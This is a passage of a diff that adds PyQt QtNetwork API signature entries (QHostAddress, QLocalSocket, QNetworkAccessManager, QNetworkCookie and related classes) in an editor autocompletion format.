+QtNetwork.QDnsLookup.mailExchangeRecords?4() -> unknown-type +QtNetwork.QDnsLookup.nameServerRecords?4() -> unknown-type +QtNetwork.QDnsLookup.pointerRecords?4() -> unknown-type +QtNetwork.QDnsLookup.serviceRecords?4() -> unknown-type +QtNetwork.QDnsLookup.textRecords?4() -> unknown-type +QtNetwork.QDnsLookup.abort?4() +QtNetwork.QDnsLookup.lookup?4() +QtNetwork.QDnsLookup.finished?4() +QtNetwork.QDnsLookup.nameChanged?4(QString) +QtNetwork.QDnsLookup.typeChanged?4(QDnsLookup.Type) +QtNetwork.QDnsLookup.nameserver?4() -> QHostAddress +QtNetwork.QDnsLookup.setNameserver?4(QHostAddress) +QtNetwork.QDnsLookup.nameserverChanged?4(QHostAddress) +QtNetwork.QHostAddress.ConversionModeFlag?10 +QtNetwork.QHostAddress.ConversionModeFlag.ConvertV4MappedToIPv4?10 +QtNetwork.QHostAddress.ConversionModeFlag.ConvertV4CompatToIPv4?10 +QtNetwork.QHostAddress.ConversionModeFlag.ConvertUnspecifiedAddress?10 +QtNetwork.QHostAddress.ConversionModeFlag.ConvertLocalHost?10 +QtNetwork.QHostAddress.ConversionModeFlag.TolerantConversion?10 +QtNetwork.QHostAddress.ConversionModeFlag.StrictConversion?10 +QtNetwork.QHostAddress.SpecialAddress?10 +QtNetwork.QHostAddress.SpecialAddress.Null?10 +QtNetwork.QHostAddress.SpecialAddress.Broadcast?10 +QtNetwork.QHostAddress.SpecialAddress.LocalHost?10 +QtNetwork.QHostAddress.SpecialAddress.LocalHostIPv6?10 +QtNetwork.QHostAddress.SpecialAddress.AnyIPv4?10 +QtNetwork.QHostAddress.SpecialAddress.AnyIPv6?10 +QtNetwork.QHostAddress.SpecialAddress.Any?10 +QtNetwork.QHostAddress?1() +QtNetwork.QHostAddress.__init__?1(self) +QtNetwork.QHostAddress?1(QHostAddress.SpecialAddress) +QtNetwork.QHostAddress.__init__?1(self, QHostAddress.SpecialAddress) +QtNetwork.QHostAddress?1(int) +QtNetwork.QHostAddress.__init__?1(self, int) +QtNetwork.QHostAddress?1(QString) +QtNetwork.QHostAddress.__init__?1(self, QString) +QtNetwork.QHostAddress?1(Q_IPV6ADDR) +QtNetwork.QHostAddress.__init__?1(self, Q_IPV6ADDR) +QtNetwork.QHostAddress?1(QHostAddress) +QtNetwork.QHostAddress.__init__?1(self, QHostAddress) +QtNetwork.QHostAddress.setAddress?4(QHostAddress.SpecialAddress) +QtNetwork.QHostAddress.setAddress?4(int) +QtNetwork.QHostAddress.setAddress?4(QString) -> bool +QtNetwork.QHostAddress.setAddress?4(Q_IPV6ADDR) +QtNetwork.QHostAddress.protocol?4() -> QAbstractSocket.NetworkLayerProtocol +QtNetwork.QHostAddress.toIPv4Address?4() -> int +QtNetwork.QHostAddress.toIPv6Address?4() -> Q_IPV6ADDR +QtNetwork.QHostAddress.toString?4() -> QString +QtNetwork.QHostAddress.scopeId?4() -> QString +QtNetwork.QHostAddress.setScopeId?4(QString) +QtNetwork.QHostAddress.isNull?4() -> bool +QtNetwork.QHostAddress.clear?4() +QtNetwork.QHostAddress.isInSubnet?4(QHostAddress, int) -> bool +QtNetwork.QHostAddress.isInSubnet?4(unknown-type) -> bool +QtNetwork.QHostAddress.isLoopback?4() -> bool +QtNetwork.QHostAddress.parseSubnet?4(QString) -> unknown-type +QtNetwork.QHostAddress.swap?4(QHostAddress) +QtNetwork.QHostAddress.isMulticast?4() -> bool +QtNetwork.QHostAddress.isEqual?4(QHostAddress, QHostAddress.ConversionMode mode=QHostAddress.TolerantConversion) -> bool +QtNetwork.QHostAddress.isGlobal?4() -> bool +QtNetwork.QHostAddress.isLinkLocal?4() -> bool +QtNetwork.QHostAddress.isSiteLocal?4() -> bool +QtNetwork.QHostAddress.isUniqueLocalUnicast?4() -> bool +QtNetwork.QHostAddress.isBroadcast?4() -> bool +QtNetwork.QHostAddress.ConversionMode?1() +QtNetwork.QHostAddress.ConversionMode.__init__?1(self) +QtNetwork.QHostAddress.ConversionMode?1(int) +QtNetwork.QHostAddress.ConversionMode.__init__?1(self, int) +QtNetwork.QHostAddress.ConversionMode?1(QHostAddress.ConversionMode) +QtNetwork.QHostAddress.ConversionMode.__init__?1(self, QHostAddress.ConversionMode) +QtNetwork.QHostInfo.HostInfoError?10 +QtNetwork.QHostInfo.HostInfoError.NoError?10 +QtNetwork.QHostInfo.HostInfoError.HostNotFound?10 +QtNetwork.QHostInfo.HostInfoError.UnknownError?10 +QtNetwork.QHostInfo?1(int id=-1) +QtNetwork.QHostInfo.__init__?1(self, int id=-1) +QtNetwork.QHostInfo?1(QHostInfo) +QtNetwork.QHostInfo.__init__?1(self, QHostInfo) +QtNetwork.QHostInfo.hostName?4() -> QString +QtNetwork.QHostInfo.setHostName?4(QString) +QtNetwork.QHostInfo.addresses?4() -> unknown-type +QtNetwork.QHostInfo.setAddresses?4(unknown-type) +QtNetwork.QHostInfo.error?4() -> QHostInfo.HostInfoError +QtNetwork.QHostInfo.setError?4(QHostInfo.HostInfoError) +QtNetwork.QHostInfo.errorString?4() -> QString +QtNetwork.QHostInfo.setErrorString?4(QString) +QtNetwork.QHostInfo.setLookupId?4(int) +QtNetwork.QHostInfo.lookupId?4() -> int +QtNetwork.QHostInfo.lookupHost?4(QString, object) -> int +QtNetwork.QHostInfo.abortHostLookup?4(int) +QtNetwork.QHostInfo.fromName?4(QString) -> QHostInfo +QtNetwork.QHostInfo.localHostName?4() -> QString +QtNetwork.QHostInfo.localDomainName?4() -> QString +QtNetwork.QHostInfo.swap?4(QHostInfo) +QtNetwork.QHstsPolicy.PolicyFlag?10 +QtNetwork.QHstsPolicy.PolicyFlag.IncludeSubDomains?10 +QtNetwork.QHstsPolicy?1() +QtNetwork.QHstsPolicy.__init__?1(self) +QtNetwork.QHstsPolicy?1(QDateTime, QHstsPolicy.PolicyFlags, QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtNetwork.QHstsPolicy.__init__?1(self, QDateTime, QHstsPolicy.PolicyFlags, QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtNetwork.QHstsPolicy?1(QHstsPolicy) +QtNetwork.QHstsPolicy.__init__?1(self, QHstsPolicy) +QtNetwork.QHstsPolicy.swap?4(QHstsPolicy) +QtNetwork.QHstsPolicy.setHost?4(QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtNetwork.QHstsPolicy.host?4(QUrl.ComponentFormattingOptions options=QUrl.ComponentFormattingOption.FullyDecoded) -> QString +QtNetwork.QHstsPolicy.setExpiry?4(QDateTime) +QtNetwork.QHstsPolicy.expiry?4() -> QDateTime +QtNetwork.QHstsPolicy.setIncludesSubDomains?4(bool) +QtNetwork.QHstsPolicy.includesSubDomains?4() -> bool +QtNetwork.QHstsPolicy.isExpired?4() -> bool +QtNetwork.QHstsPolicy.PolicyFlags?1() +QtNetwork.QHstsPolicy.PolicyFlags.__init__?1(self) +QtNetwork.QHstsPolicy.PolicyFlags?1(int) +QtNetwork.QHstsPolicy.PolicyFlags.__init__?1(self, int) +QtNetwork.QHstsPolicy.PolicyFlags?1(QHstsPolicy.PolicyFlags) +QtNetwork.QHstsPolicy.PolicyFlags.__init__?1(self, QHstsPolicy.PolicyFlags) +QtNetwork.QHttp2Configuration?1() +QtNetwork.QHttp2Configuration.__init__?1(self) +QtNetwork.QHttp2Configuration?1(QHttp2Configuration) +QtNetwork.QHttp2Configuration.__init__?1(self, QHttp2Configuration) +QtNetwork.QHttp2Configuration.setServerPushEnabled?4(bool) +QtNetwork.QHttp2Configuration.serverPushEnabled?4() -> bool +QtNetwork.QHttp2Configuration.setHuffmanCompressionEnabled?4(bool) +QtNetwork.QHttp2Configuration.huffmanCompressionEnabled?4() -> bool +QtNetwork.QHttp2Configuration.setSessionReceiveWindowSize?4(int) -> bool +QtNetwork.QHttp2Configuration.sessionReceiveWindowSize?4() -> int +QtNetwork.QHttp2Configuration.setStreamReceiveWindowSize?4(int) -> bool +QtNetwork.QHttp2Configuration.streamReceiveWindowSize?4() -> int +QtNetwork.QHttp2Configuration.setMaxFrameSize?4(int) -> bool +QtNetwork.QHttp2Configuration.maxFrameSize?4() -> int +QtNetwork.QHttp2Configuration.swap?4(QHttp2Configuration) +QtNetwork.QHttpPart?1() +QtNetwork.QHttpPart.__init__?1(self) +QtNetwork.QHttpPart?1(QHttpPart) +QtNetwork.QHttpPart.__init__?1(self, QHttpPart) +QtNetwork.QHttpPart.setHeader?4(QNetworkRequest.KnownHeaders, QVariant) +QtNetwork.QHttpPart.setRawHeader?4(QByteArray, QByteArray) +QtNetwork.QHttpPart.setBody?4(QByteArray) +QtNetwork.QHttpPart.setBodyDevice?4(QIODevice) +QtNetwork.QHttpPart.swap?4(QHttpPart) +QtNetwork.QHttpMultiPart.ContentType?10 +QtNetwork.QHttpMultiPart.ContentType.MixedType?10 +QtNetwork.QHttpMultiPart.ContentType.RelatedType?10 +QtNetwork.QHttpMultiPart.ContentType.FormDataType?10 +QtNetwork.QHttpMultiPart.ContentType.AlternativeType?10 +QtNetwork.QHttpMultiPart?1(QObject parent=None) +QtNetwork.QHttpMultiPart.__init__?1(self, QObject parent=None) +QtNetwork.QHttpMultiPart?1(QHttpMultiPart.ContentType, QObject parent=None) +QtNetwork.QHttpMultiPart.__init__?1(self, QHttpMultiPart.ContentType, QObject parent=None) +QtNetwork.QHttpMultiPart.append?4(QHttpPart) +QtNetwork.QHttpMultiPart.setContentType?4(QHttpMultiPart.ContentType) +QtNetwork.QHttpMultiPart.boundary?4() -> QByteArray +QtNetwork.QHttpMultiPart.setBoundary?4(QByteArray) +QtNetwork.QLocalServer.SocketOption?10 +QtNetwork.QLocalServer.SocketOption.UserAccessOption?10 +QtNetwork.QLocalServer.SocketOption.GroupAccessOption?10 +QtNetwork.QLocalServer.SocketOption.OtherAccessOption?10 +QtNetwork.QLocalServer.SocketOption.WorldAccessOption?10 +QtNetwork.QLocalServer?1(QObject parent=None) +QtNetwork.QLocalServer.__init__?1(self, QObject parent=None) +QtNetwork.QLocalServer.close?4() +QtNetwork.QLocalServer.errorString?4() -> QString +QtNetwork.QLocalServer.hasPendingConnections?4() -> bool +QtNetwork.QLocalServer.isListening?4() -> bool +QtNetwork.QLocalServer.listen?4(QString) -> bool +QtNetwork.QLocalServer.listen?4(qintptr) -> bool +QtNetwork.QLocalServer.maxPendingConnections?4() -> int +QtNetwork.QLocalServer.nextPendingConnection?4() -> QLocalSocket +QtNetwork.QLocalServer.serverName?4() -> QString +QtNetwork.QLocalServer.fullServerName?4() -> QString +QtNetwork.QLocalServer.serverError?4() -> QAbstractSocket.SocketError +QtNetwork.QLocalServer.setMaxPendingConnections?4(int) +QtNetwork.QLocalServer.waitForNewConnection?4(int msecs=0) -> (bool, bool) +QtNetwork.QLocalServer.removeServer?4(QString) -> bool +QtNetwork.QLocalServer.newConnection?4() +QtNetwork.QLocalServer.incomingConnection?4(quintptr) +QtNetwork.QLocalServer.setSocketOptions?4(QLocalServer.SocketOptions) +QtNetwork.QLocalServer.socketOptions?4() -> QLocalServer.SocketOptions +QtNetwork.QLocalServer.socketDescriptor?4() -> qintptr +QtNetwork.QLocalServer.SocketOptions?1() +QtNetwork.QLocalServer.SocketOptions.__init__?1(self) +QtNetwork.QLocalServer.SocketOptions?1(int) +QtNetwork.QLocalServer.SocketOptions.__init__?1(self, int) +QtNetwork.QLocalServer.SocketOptions?1(QLocalServer.SocketOptions) +QtNetwork.QLocalServer.SocketOptions.__init__?1(self, QLocalServer.SocketOptions) +QtNetwork.QLocalSocket.LocalSocketState?10 +QtNetwork.QLocalSocket.LocalSocketState.UnconnectedState?10 +QtNetwork.QLocalSocket.LocalSocketState.ConnectingState?10 +QtNetwork.QLocalSocket.LocalSocketState.ConnectedState?10 +QtNetwork.QLocalSocket.LocalSocketState.ClosingState?10 +QtNetwork.QLocalSocket.LocalSocketError?10 +QtNetwork.QLocalSocket.LocalSocketError.ConnectionRefusedError?10 +QtNetwork.QLocalSocket.LocalSocketError.PeerClosedError?10 +QtNetwork.QLocalSocket.LocalSocketError.ServerNotFoundError?10 +QtNetwork.QLocalSocket.LocalSocketError.SocketAccessError?10 +QtNetwork.QLocalSocket.LocalSocketError.SocketResourceError?10 +QtNetwork.QLocalSocket.LocalSocketError.SocketTimeoutError?10 +QtNetwork.QLocalSocket.LocalSocketError.DatagramTooLargeError?10 +QtNetwork.QLocalSocket.LocalSocketError.ConnectionError?10 +QtNetwork.QLocalSocket.LocalSocketError.UnsupportedSocketOperationError?10 +QtNetwork.QLocalSocket.LocalSocketError.OperationError?10 +QtNetwork.QLocalSocket.LocalSocketError.UnknownSocketError?10 +QtNetwork.QLocalSocket?1(QObject parent=None) +QtNetwork.QLocalSocket.__init__?1(self, QObject parent=None) +QtNetwork.QLocalSocket.connectToServer?4(QString, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtNetwork.QLocalSocket.connectToServer?4(QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtNetwork.QLocalSocket.disconnectFromServer?4() +QtNetwork.QLocalSocket.open?4(QIODevice.OpenMode mode=QIODevice.ReadWrite) -> bool +QtNetwork.QLocalSocket.serverName?4() -> QString +QtNetwork.QLocalSocket.setServerName?4(QString) +QtNetwork.QLocalSocket.fullServerName?4() -> QString +QtNetwork.QLocalSocket.abort?4() +QtNetwork.QLocalSocket.isSequential?4() -> bool +QtNetwork.QLocalSocket.bytesAvailable?4() -> int +QtNetwork.QLocalSocket.bytesToWrite?4() -> int +QtNetwork.QLocalSocket.canReadLine?4() -> bool +QtNetwork.QLocalSocket.close?4() +QtNetwork.QLocalSocket.error?4() -> QLocalSocket.LocalSocketError +QtNetwork.QLocalSocket.flush?4() -> bool +QtNetwork.QLocalSocket.isValid?4() -> bool +QtNetwork.QLocalSocket.readBufferSize?4() -> int +QtNetwork.QLocalSocket.setReadBufferSize?4(int) +QtNetwork.QLocalSocket.setSocketDescriptor?4(qintptr, QLocalSocket.LocalSocketState state=QLocalSocket.ConnectedState, QIODevice.OpenMode mode=QIODevice.ReadWrite) -> bool +QtNetwork.QLocalSocket.socketDescriptor?4() -> qintptr +QtNetwork.QLocalSocket.state?4() -> QLocalSocket.LocalSocketState +QtNetwork.QLocalSocket.waitForBytesWritten?4(int msecs=30000) -> bool +QtNetwork.QLocalSocket.waitForConnected?4(int msecs=30000) -> bool +QtNetwork.QLocalSocket.waitForDisconnected?4(int msecs=30000) -> bool +QtNetwork.QLocalSocket.waitForReadyRead?4(int msecs=30000) -> bool +QtNetwork.QLocalSocket.connected?4() +QtNetwork.QLocalSocket.disconnected?4() +QtNetwork.QLocalSocket.error?4(QLocalSocket.LocalSocketError) +QtNetwork.QLocalSocket.errorOccurred?4(QLocalSocket.LocalSocketError) +QtNetwork.QLocalSocket.stateChanged?4(QLocalSocket.LocalSocketState) +QtNetwork.QLocalSocket.readData?4(int) -> object +QtNetwork.QLocalSocket.writeData?4(bytes) -> int +QtNetwork.QNetworkAccessManager.NetworkAccessibility?10 +QtNetwork.QNetworkAccessManager.NetworkAccessibility.UnknownAccessibility?10 +QtNetwork.QNetworkAccessManager.NetworkAccessibility.NotAccessible?10 +QtNetwork.QNetworkAccessManager.NetworkAccessibility.Accessible?10 +QtNetwork.QNetworkAccessManager.Operation?10 +QtNetwork.QNetworkAccessManager.Operation.HeadOperation?10 +QtNetwork.QNetworkAccessManager.Operation.GetOperation?10 +QtNetwork.QNetworkAccessManager.Operation.PutOperation?10 +QtNetwork.QNetworkAccessManager.Operation.PostOperation?10 +QtNetwork.QNetworkAccessManager.Operation.DeleteOperation?10 +QtNetwork.QNetworkAccessManager.Operation.CustomOperation?10 +QtNetwork.QNetworkAccessManager?1(QObject parent=None) +QtNetwork.QNetworkAccessManager.__init__?1(self, QObject parent=None) +QtNetwork.QNetworkAccessManager.proxy?4() -> QNetworkProxy +QtNetwork.QNetworkAccessManager.setProxy?4(QNetworkProxy) +QtNetwork.QNetworkAccessManager.cookieJar?4() -> QNetworkCookieJar +QtNetwork.QNetworkAccessManager.setCookieJar?4(QNetworkCookieJar) +QtNetwork.QNetworkAccessManager.head?4(QNetworkRequest) -> QNetworkReply +QtNetwork.QNetworkAccessManager.get?4(QNetworkRequest) -> QNetworkReply +QtNetwork.QNetworkAccessManager.post?4(QNetworkRequest, QIODevice) -> QNetworkReply +QtNetwork.QNetworkAccessManager.post?4(QNetworkRequest, QByteArray) -> QNetworkReply +QtNetwork.QNetworkAccessManager.post?4(QNetworkRequest, QHttpMultiPart) -> QNetworkReply +QtNetwork.QNetworkAccessManager.put?4(QNetworkRequest, QIODevice) -> QNetworkReply +QtNetwork.QNetworkAccessManager.put?4(QNetworkRequest, QByteArray) -> QNetworkReply +QtNetwork.QNetworkAccessManager.put?4(QNetworkRequest, QHttpMultiPart) -> QNetworkReply +QtNetwork.QNetworkAccessManager.proxyAuthenticationRequired?4(QNetworkProxy, QAuthenticator) +QtNetwork.QNetworkAccessManager.authenticationRequired?4(QNetworkReply, QAuthenticator) +QtNetwork.QNetworkAccessManager.finished?4(QNetworkReply) +QtNetwork.QNetworkAccessManager.encrypted?4(QNetworkReply) +QtNetwork.QNetworkAccessManager.sslErrors?4(QNetworkReply, unknown-type) +QtNetwork.QNetworkAccessManager.networkAccessibleChanged?4(QNetworkAccessManager.NetworkAccessibility) +QtNetwork.QNetworkAccessManager.preSharedKeyAuthenticationRequired?4(QNetworkReply, QSslPreSharedKeyAuthenticator) +QtNetwork.QNetworkAccessManager.createRequest?4(QNetworkAccessManager.Operation, QNetworkRequest, QIODevice device=None) -> QNetworkReply +QtNetwork.QNetworkAccessManager.proxyFactory?4() -> QNetworkProxyFactory +QtNetwork.QNetworkAccessManager.setProxyFactory?4(QNetworkProxyFactory) +QtNetwork.QNetworkAccessManager.cache?4() -> QAbstractNetworkCache +QtNetwork.QNetworkAccessManager.setCache?4(QAbstractNetworkCache) +QtNetwork.QNetworkAccessManager.deleteResource?4(QNetworkRequest) -> QNetworkReply +QtNetwork.QNetworkAccessManager.sendCustomRequest?4(QNetworkRequest, QByteArray, QIODevice data=None) -> QNetworkReply +QtNetwork.QNetworkAccessManager.sendCustomRequest?4(QNetworkRequest, QByteArray, QByteArray) -> QNetworkReply +QtNetwork.QNetworkAccessManager.sendCustomRequest?4(QNetworkRequest, QByteArray, QHttpMultiPart) -> QNetworkReply +QtNetwork.QNetworkAccessManager.setConfiguration?4(QNetworkConfiguration) +QtNetwork.QNetworkAccessManager.configuration?4() -> QNetworkConfiguration +QtNetwork.QNetworkAccessManager.activeConfiguration?4() -> QNetworkConfiguration +QtNetwork.QNetworkAccessManager.setNetworkAccessible?4(QNetworkAccessManager.NetworkAccessibility) +QtNetwork.QNetworkAccessManager.networkAccessible?4() -> QNetworkAccessManager.NetworkAccessibility +QtNetwork.QNetworkAccessManager.clearAccessCache?4() +QtNetwork.QNetworkAccessManager.supportedSchemes?4() -> QStringList +QtNetwork.QNetworkAccessManager.connectToHostEncrypted?4(QString, int port=443, QSslConfiguration sslConfiguration=QSslConfiguration.defaultConfiguration()) +QtNetwork.QNetworkAccessManager.connectToHostEncrypted?4(QString, int, QSslConfiguration, QString) +QtNetwork.QNetworkAccessManager.connectToHost?4(QString, int port=80) +QtNetwork.QNetworkAccessManager.supportedSchemesImplementation?4() -> QStringList +QtNetwork.QNetworkAccessManager.clearConnectionCache?4() +QtNetwork.QNetworkAccessManager.setStrictTransportSecurityEnabled?4(bool) +QtNetwork.QNetworkAccessManager.isStrictTransportSecurityEnabled?4() -> bool +QtNetwork.QNetworkAccessManager.addStrictTransportSecurityHosts?4(unknown-type) +QtNetwork.QNetworkAccessManager.strictTransportSecurityHosts?4() -> unknown-type +QtNetwork.QNetworkAccessManager.setRedirectPolicy?4(QNetworkRequest.RedirectPolicy) +QtNetwork.QNetworkAccessManager.redirectPolicy?4() -> QNetworkRequest.RedirectPolicy +QtNetwork.QNetworkAccessManager.enableStrictTransportSecurityStore?4(bool, QString storeDir='') +QtNetwork.QNetworkAccessManager.isStrictTransportSecurityStoreEnabled?4() -> bool +QtNetwork.QNetworkAccessManager.autoDeleteReplies?4() -> bool +QtNetwork.QNetworkAccessManager.setAutoDeleteReplies?4(bool) +QtNetwork.QNetworkAccessManager.transferTimeout?4() -> int +QtNetwork.QNetworkAccessManager.setTransferTimeout?4(int timeout=QNetworkRequest.TransferTimeoutConstant.DefaultTransferTimeoutConstant) +QtNetwork.QNetworkConfigurationManager.Capability?10 +QtNetwork.QNetworkConfigurationManager.Capability.CanStartAndStopInterfaces?10 +QtNetwork.QNetworkConfigurationManager.Capability.DirectConnectionRouting?10 +QtNetwork.QNetworkConfigurationManager.Capability.SystemSessionSupport?10 +QtNetwork.QNetworkConfigurationManager.Capability.ApplicationLevelRoaming?10 +QtNetwork.QNetworkConfigurationManager.Capability.ForcedRoaming?10 +QtNetwork.QNetworkConfigurationManager.Capability.DataStatistics?10 +QtNetwork.QNetworkConfigurationManager.Capability.NetworkSessionRequired?10 +QtNetwork.QNetworkConfigurationManager?1(QObject parent=None) +QtNetwork.QNetworkConfigurationManager.__init__?1(self, QObject parent=None) +QtNetwork.QNetworkConfigurationManager.capabilities?4() -> QNetworkConfigurationManager.Capabilities +QtNetwork.QNetworkConfigurationManager.defaultConfiguration?4() -> QNetworkConfiguration +QtNetwork.QNetworkConfigurationManager.allConfigurations?4(QNetworkConfiguration.StateFlags flags=QNetworkConfiguration.StateFlags()) -> unknown-type +QtNetwork.QNetworkConfigurationManager.configurationFromIdentifier?4(QString) -> QNetworkConfiguration +QtNetwork.QNetworkConfigurationManager.updateConfigurations?4() +QtNetwork.QNetworkConfigurationManager.isOnline?4() -> bool +QtNetwork.QNetworkConfigurationManager.configurationAdded?4(QNetworkConfiguration) +QtNetwork.QNetworkConfigurationManager.configurationRemoved?4(QNetworkConfiguration) +QtNetwork.QNetworkConfigurationManager.configurationChanged?4(QNetworkConfiguration) +QtNetwork.QNetworkConfigurationManager.onlineStateChanged?4(bool) +QtNetwork.QNetworkConfigurationManager.updateCompleted?4() +QtNetwork.QNetworkConfigurationManager.Capabilities?1() +QtNetwork.QNetworkConfigurationManager.Capabilities.__init__?1(self) +QtNetwork.QNetworkConfigurationManager.Capabilities?1(int) +QtNetwork.QNetworkConfigurationManager.Capabilities.__init__?1(self, int) +QtNetwork.QNetworkConfigurationManager.Capabilities?1(QNetworkConfigurationManager.Capabilities) +QtNetwork.QNetworkConfigurationManager.Capabilities.__init__?1(self, QNetworkConfigurationManager.Capabilities) +QtNetwork.QNetworkConfiguration.BearerType?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerUnknown?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerEthernet?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerWLAN?10 +QtNetwork.QNetworkConfiguration.BearerType.Bearer2G?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerCDMA2000?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerWCDMA?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerHSPA?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerBluetooth?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerWiMAX?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerEVDO?10 +QtNetwork.QNetworkConfiguration.BearerType.BearerLTE?10 +QtNetwork.QNetworkConfiguration.BearerType.Bearer3G?10 +QtNetwork.QNetworkConfiguration.BearerType.Bearer4G?10 +QtNetwork.QNetworkConfiguration.StateFlag?10 +QtNetwork.QNetworkConfiguration.StateFlag.Undefined?10 +QtNetwork.QNetworkConfiguration.StateFlag.Defined?10 +QtNetwork.QNetworkConfiguration.StateFlag.Discovered?10 +QtNetwork.QNetworkConfiguration.StateFlag.Active?10 +QtNetwork.QNetworkConfiguration.Purpose?10 +QtNetwork.QNetworkConfiguration.Purpose.UnknownPurpose?10 +QtNetwork.QNetworkConfiguration.Purpose.PublicPurpose?10 +QtNetwork.QNetworkConfiguration.Purpose.PrivatePurpose?10 +QtNetwork.QNetworkConfiguration.Purpose.ServiceSpecificPurpose?10 +QtNetwork.QNetworkConfiguration.Type?10 +QtNetwork.QNetworkConfiguration.Type.InternetAccessPoint?10 +QtNetwork.QNetworkConfiguration.Type.ServiceNetwork?10 +QtNetwork.QNetworkConfiguration.Type.UserChoice?10 +QtNetwork.QNetworkConfiguration.Type.Invalid?10 +QtNetwork.QNetworkConfiguration?1() +QtNetwork.QNetworkConfiguration.__init__?1(self) +QtNetwork.QNetworkConfiguration?1(QNetworkConfiguration) +QtNetwork.QNetworkConfiguration.__init__?1(self, QNetworkConfiguration) +QtNetwork.QNetworkConfiguration.state?4() -> QNetworkConfiguration.StateFlags +QtNetwork.QNetworkConfiguration.type?4() -> QNetworkConfiguration.Type +QtNetwork.QNetworkConfiguration.purpose?4() -> QNetworkConfiguration.Purpose +QtNetwork.QNetworkConfiguration.bearerType?4() -> QNetworkConfiguration.BearerType +QtNetwork.QNetworkConfiguration.bearerTypeName?4() -> QString +QtNetwork.QNetworkConfiguration.bearerTypeFamily?4() -> QNetworkConfiguration.BearerType +QtNetwork.QNetworkConfiguration.identifier?4() -> QString +QtNetwork.QNetworkConfiguration.isRoamingAvailable?4() -> bool +QtNetwork.QNetworkConfiguration.children?4() -> unknown-type +QtNetwork.QNetworkConfiguration.name?4() -> QString +QtNetwork.QNetworkConfiguration.isValid?4() -> bool +QtNetwork.QNetworkConfiguration.swap?4(QNetworkConfiguration) +QtNetwork.QNetworkConfiguration.connectTimeout?4() -> int +QtNetwork.QNetworkConfiguration.setConnectTimeout?4(int) -> bool +QtNetwork.QNetworkConfiguration.StateFlags?1() +QtNetwork.QNetworkConfiguration.StateFlags.__init__?1(self) +QtNetwork.QNetworkConfiguration.StateFlags?1(int) +QtNetwork.QNetworkConfiguration.StateFlags.__init__?1(self, int) +QtNetwork.QNetworkConfiguration.StateFlags?1(QNetworkConfiguration.StateFlags) +QtNetwork.QNetworkConfiguration.StateFlags.__init__?1(self, QNetworkConfiguration.StateFlags) +QtNetwork.QNetworkCookie.RawForm?10 +QtNetwork.QNetworkCookie.RawForm.NameAndValueOnly?10 +QtNetwork.QNetworkCookie.RawForm.Full?10 +QtNetwork.QNetworkCookie?1(QByteArray name=QByteArray(), QByteArray value=QByteArray()) +QtNetwork.QNetworkCookie.__init__?1(self, QByteArray name=QByteArray(), QByteArray value=QByteArray()) +QtNetwork.QNetworkCookie?1(QNetworkCookie) +QtNetwork.QNetworkCookie.__init__?1(self, QNetworkCookie) +QtNetwork.QNetworkCookie.isSecure?4() -> bool +QtNetwork.QNetworkCookie.setSecure?4(bool) +QtNetwork.QNetworkCookie.isSessionCookie?4() -> bool +QtNetwork.QNetworkCookie.expirationDate?4() -> QDateTime +QtNetwork.QNetworkCookie.setExpirationDate?4(QDateTime) +QtNetwork.QNetworkCookie.domain?4() -> QString +QtNetwork.QNetworkCookie.setDomain?4(QString) +QtNetwork.QNetworkCookie.path?4() -> QString +QtNetwork.QNetworkCookie.setPath?4(QString) +QtNetwork.QNetworkCookie.name?4() -> QByteArray +QtNetwork.QNetworkCookie.setName?4(QByteArray) +QtNetwork.QNetworkCookie.value?4() -> QByteArray +QtNetwork.QNetworkCookie.setValue?4(QByteArray) +QtNetwork.QNetworkCookie.toRawForm?4(QNetworkCookie.RawForm form=QNetworkCookie.Full) -> QByteArray +QtNetwork.QNetworkCookie.parseCookies?4(QByteArray) -> unknown-type +QtNetwork.QNetworkCookie.isHttpOnly?4() -> bool +QtNetwork.QNetworkCookie.setHttpOnly?4(bool) +QtNetwork.QNetworkCookie.swap?4(QNetworkCookie) +QtNetwork.QNetworkCookie.hasSameIdentifier?4(QNetworkCookie) -> bool +QtNetwork.QNetworkCookie.normalize?4(QUrl) +QtNetwork.QNetworkCookieJar?1(QObject parent=None) +QtNetwork.QNetworkCookieJar.__init__?1(self, QObject parent=None) +QtNetwork.QNetworkCookieJar.cookiesForUrl?4(QUrl) -> unknown-type +QtNetwork.QNetworkCookieJar.setCookiesFromUrl?4(unknown-type, QUrl) -> bool +QtNetwork.QNetworkCookieJar.insertCookie?4(QNetworkCookie) -> bool +QtNetwork.QNetworkCookieJar.updateCookie?4(QNetworkCookie) -> bool +QtNetwork.QNetworkCookieJar.deleteCookie?4(QNetworkCookie) -> bool +QtNetwork.QNetworkCookieJar.setAllCookies?4(unknown-type) +QtNetwork.QNetworkCookieJar.allCookies?4() -> unknown-type +QtNetwork.QNetworkCookieJar.validateCookie?4(QNetworkCookie, QUrl) -> bool +QtNetwork.QNetworkDatagram?1() +QtNetwork.QNetworkDatagram.__init__?1(self) +QtNetwork.QNetworkDatagram?1(QByteArray, QHostAddress destinationAddress=QHostAddress(), int port=0) +QtNetwork.QNetworkDatagram.__init__?1(self, QByteArray, QHostAddress destinationAddress=QHostAddress(), int port=0) +QtNetwork.QNetworkDatagram?1(QNetworkDatagram) +QtNetwork.QNetworkDatagram.__init__?1(self, QNetworkDatagram) +QtNetwork.QNetworkDatagram.swap?4(QNetworkDatagram) +QtNetwork.QNetworkDatagram.clear?4() +QtNetwork.QNetworkDatagram.isValid?4() -> bool +QtNetwork.QNetworkDatagram.isNull?4() -> bool +QtNetwork.QNetworkDatagram.interfaceIndex?4() -> int +QtNetwork.QNetworkDatagram.setInterfaceIndex?4(int) +QtNetwork.QNetworkDatagram.senderAddress?4() -> QHostAddress +QtNetwork.QNetworkDatagram.destinationAddress?4() -> QHostAddress +QtNetwork.QNetworkDatagram.senderPort?4() -> int +QtNetwork.QNetworkDatagram.destinationPort?4() -> int +QtNetwork.QNetworkDatagram.setSender?4(QHostAddress, int port=0) +QtNetwork.QNetworkDatagram.setDestination?4(QHostAddress, int) 